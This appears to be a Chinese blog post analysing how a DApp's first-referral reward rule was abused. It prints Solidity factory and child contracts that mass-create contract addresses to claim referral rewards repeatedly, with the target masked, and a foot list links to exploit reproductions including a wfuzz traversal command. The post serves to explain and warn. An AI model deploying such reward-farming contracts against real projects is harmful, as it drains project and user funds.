首页 > 其他分享 >震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

震惊:全面拆解dapp上线三天、 规则漏洞导致资金全部损失

时间:2024-06-18 14:31:14浏览次数:23  
标签:function 漏洞 ChildContract dapp 拆解 address orderAdress 合约

背景:

今天的分析的是链上一个土狗项目由于规则设计漏洞、导致被黑客利用漏洞攻击、致使资金全部损失的案例、近期这个项目也是圈内很火、今天看到了,就趁周末有时间从技术的角度,分析黑客如何利用链上部署的合约,进而干废项目方。
今天说的这个,不是技术漏洞bug、是规则设计漏洞。
说到这里可能有同学就说了、我合约不开源、他怎么发现我的漏洞的、怎么攻击我的、这里可以直接告诉你、不开源不代表安全、只是增加了黑客的一点点成本而已。

攻击源代码

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;
contract ChildContract {
    // 定义合约
     address constant remoteContractAddress = 0x543a975946xxxxxxxxxxxxxxxxxxxxx;
     // 子合约的代码...
    function fun(address orderAdress) public {
        // 调用远程合约的*****function方法
        bytes4 sig = bytes4(keccak256("*****function(address)"));
        (bool success, ) = remoteContractAddress.call{value: 0}(abi.encodeWithSelector(sig, orderAdress));
        require(success, "Remote contract call failed");
    }
}

// 工厂合约定义
contract FactoryContract {
    address[] public childrenContracts; // 存储所有子合约地址的数组
    function createChild(address orderAdress) public {
        for (uint256 i = 0; i < 10; i++) {
        ChildContract child = new ChildContract(); // 创建新的子合约实例
        address childAddr = address(child); // 获取子合约的地址
        childrenContracts.push(orderAdress); // 将子合约地址存入数组
        child.fun(orderAdress);
        }

    }

}

案例分析

导火索: 项目方里面有个活动、利用首次推荐新用户推荐人下单获得固定奖励、本来一切都是好好的、但是这里就有一个漏洞了。大家都知道链上都是用address 钱包定义用户的、但是合约本质上也是一个特殊的address 、故此当有人核量成本、发现一笔攻击gas能覆盖奖励收益的时候、就开始使用技术手段去攻击了。
接下来我解释一下我演示的demo流程

1、创建一个工厂合约、每次通过fro方式重复new ChildContract 这个每次new 都会得到一个新的合约地址
2、通过ChildContract 内fun 方法,固定去调用项目方函数。
3、项目方接收到调用后,规则验证通过、给推荐地址orderAdress 返一笔。
4、如果FactoryContract .createChild 一直重复调用、项目方很快破产…
5、以下是我写的一个简单的调用demo 的链上记录

在这里插入图片描述

打码的不用关注、主要就是告诉你、可行。。。

后期建议优化

标签:function,漏洞,ChildContract,dapp,拆解,address,orderAdress,合约
From: https://blog.csdn.net/qq_38420688/article/details/139682287

相关文章

  • Windows CSC提权漏洞复现(CVE-2024-26229)
    漏洞信息WindowsCSC服务特权提升漏洞。当程序向缓冲区写入的数据超出其处理能力时,就会发生基于堆的缓冲区溢出,从而导致多余的数据溢出到相邻的内存区域。这种溢出会损坏内存,并可能使攻击者能够执行任意代码或未经授权访问系统。本质上,攻击者可以编写触发溢出的恶意代码或输入,从......
  • SRC数字漏洞
    1、int类型-2147483648到4294967295​涉及到支付的是候,例如微信、支付宝​2147483648=0,2147483649=1​也可以:数量*单价=21474836482、科学计数法1E+13—>1E-13、四舍五入充值0.016=到账0.2​再充一次,如果是0.03存在支付漏洞还有一种情况是......
  • 【漏洞情报】泛微 E-Cology KtreeUploadAction 文件上传漏洞
    声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!01漏洞描述泛微OAE-CologyKtreeUploadAction存在文件上传漏洞......
  • 申瓯通信 在线录音管理系统 download 任意文件读取漏洞复现
    0x01产品简介申瓯通信在线录音管理系统是一款功能强大的录音管理解决方案,旨在满足公司、集团单位在区域分布下对录音数据的集中管理需求。该系统基于SOC1900、SOC1600等系列录音盒开发,是一个多线路、多设备、多区域的录音统一管理平台。该系统将各个分点的录音盒的录音统一集......
  • 致远互联FE协作办公平台 ncsubjass SQL注入致RCE漏洞复现
    0x01产品简介致远互联FE协作办公平台是一款为企业提供全方位协同办公解决方案的产品。它集成了多个功能模块,旨在帮助企业实现高效的团队协作、信息共享和文档管理。0x02漏洞概述致远互联FE协作办公平台ncsubjass.jsp接口处存在SQL注入漏洞,未经身份验证的攻击者可以通过......
  • 「一个wfuzz应用案例」拿到目录遍历漏洞后用wfuzz爆破
    ┌──(root㉿kali)-[~]└─#wfuzz-uhttp://XXX.XXX.XXX.XXX/mailinspector/public/loader.php?path=../../../../../../..FUZZ-w~/weapons/http-payloads/linux_dir.txt--hl0*********************************************************Wfuzz3.1.0-TheWebFuzzer......
  • 基于Python+scopy实现的渗透测试工具对网站URL以及端口进行漏洞检测系统
    目录摘要2Abstract3第1章绪论51.1研究背景与意义51.2国内外研究现状和发展趋势51.3本论文主要工作及组织结构61.3.1论文主要研究工作61.3.2论文的组织结构6第2章web安全评估及测试的介绍82.1渗透测试82.2web安全评估8第3章渗透测试及安......
  • Vulhub WebLogic漏洞复现
    目录前言任意文件上传漏洞(CVE-2018-2894)管理控制台未授权RCE漏洞(CVE-2020-14882&CVE-2020-14883)未授权RCE漏洞(CVE-2023-21839)SSRF漏洞(CVE-2014-4210)前言前面两篇针对WebLogic存在的XMLDecoder和T3协议反序列化漏洞进行了分析和复现,这里继续借助vulhub来复现WebLogic的其他漏洞......
  • 红日复现为什么失败之struct漏洞复现
    struts2漏洞一、指纹识别s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名部署在根目录下,工程名可为空;当然namespace名称也可设置为空;拓展名也可设置为空。方法一(1)url会有.action或.do后缀文件名(eg:http://192.168.xx.xx/integ......
  • 6.13API接口服务类漏洞探针
    ip地址解析:www.x.x.x.com,对应网站目录为d:/wwwroot/xiaodi/而127.x.x.x,对应网站目录为d:/wwwroot/,可能存在网站备份文件zip,所以ip网址端口都的扫描;协议端弱口令爆破:超级弱口令检查工具;端口服务安全问题(用于无思路时)思路:利用探针对端口探测后,对口令安全、Web漏洞、中间......